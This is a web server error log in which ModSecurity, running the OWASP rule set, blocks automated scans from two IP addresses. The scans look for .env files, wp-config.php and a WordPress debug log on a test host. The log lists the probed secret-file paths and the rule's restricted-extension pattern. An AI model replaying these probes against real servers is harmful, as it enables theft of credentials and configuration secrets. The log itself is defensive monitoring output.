[Tue Aug 05 11:03:49.412436 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKEwAAABE&quot;]
[Tue Aug 05 11:03:49.412581 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/aws/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKEwAAABE&quot;]
[Tue Aug 05 11:03:49.515226 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGAAAABE&quot;]
[Tue Aug 05 11:03:49.515427 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGAAAABE&quot;]
[Tue Aug 05 11:03:49.515599 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGAAAABE&quot;]
[Tue Aug 05 11:03:49.535539 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGQAAABE&quot;]
[Tue Aug 05 11:03:49.535745 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGQAAABE&quot;]
[Tue Aug 05 11:03:49.535928 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGQAAABE&quot;]
[Tue Aug 05 11:03:49.556017 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGgAAABE&quot;]
[Tue Aug 05 11:03:49.556236 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGgAAABE&quot;]
[Tue Aug 05 11:03:49.556422 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGgAAABE&quot;]
[Tue Aug 05 11:03:49.576427 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /www/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGwAAABE&quot;]
[Tue Aug 05 11:03:49.576635 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGwAAABE&quot;]
[Tue Aug 05 11:03:49.576815 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/www/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKGwAAABE&quot;]
[Tue Aug 05 11:03:49.596804 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKHAAAABE&quot;]
[Tue Aug 05 11:03:49.597006 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKHAAAABE&quot;]
[Tue Aug 05 11:03:49.597163 2025] [:error] [pid 1720192] [client 185.177.72.115:18484] [client 185.177.72.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aJHI9Ssui0BrQ5itqPqKHAAAABE&quot;]
[Tue Aug 05 17:44:46.708194 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44mQAAAAg&quot;]
[Tue Aug 05 17:44:46.708448 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44mQAAAAg&quot;]
[Tue Aug 05 17:44:46.708618 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44mQAAAAg&quot;]
[Tue Aug 05 17:44:46.874246 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44nAAAAAg&quot;]
[Tue Aug 05 17:44:46.874535 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44nAAAAAg&quot;]
[Tue Aug 05 17:44:46.874738 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44nAAAAAg&quot;]
[Tue Aug 05 17:44:46.960963 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44nQAAAAg&quot;]
[Tue Aug 05 17:44:46.961202 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44nQAAAAg&quot;]
[Tue Aug 05 17:44:46.961399 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aJIm7v8AUwGiCLARHH44nQAAAAg&quot;]
[Tue Aug 05 17:44:47.068977 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aJIm7_8AUwGiCLARHH44ngAAAAg&quot;]
[Tue Aug 05 17:44:47.069241 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aJIm7_8AUwGiCLARHH44ngAAAAg&quot;]
[Tue Aug 05 17:44:47.069435 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aJIm7_8AUwGiCLARHH44ngAAAAg&quot;]
[Tue Aug 05 17:44:48.944074 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aJIm8P8AUwGiCLARHH44oQAAAAg&quot;]
[Tue Aug 05 17:44:48.944307 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aJIm8P8AUwGiCLARHH44oQAAAAg&quot;]
[Tue Aug 05 17:44:48.944475 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aJIm8P8AUwGiCLARHH44oQAAAAg&quot;]
[Tue Aug 05 17:44:49.037401 2025] [:error] [pid 1726070] [client 185.177.72.202:7570] [client 185.177.72.202] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;aJIm8f8AUwGiCLARHH44pQAAAAg&quot;]
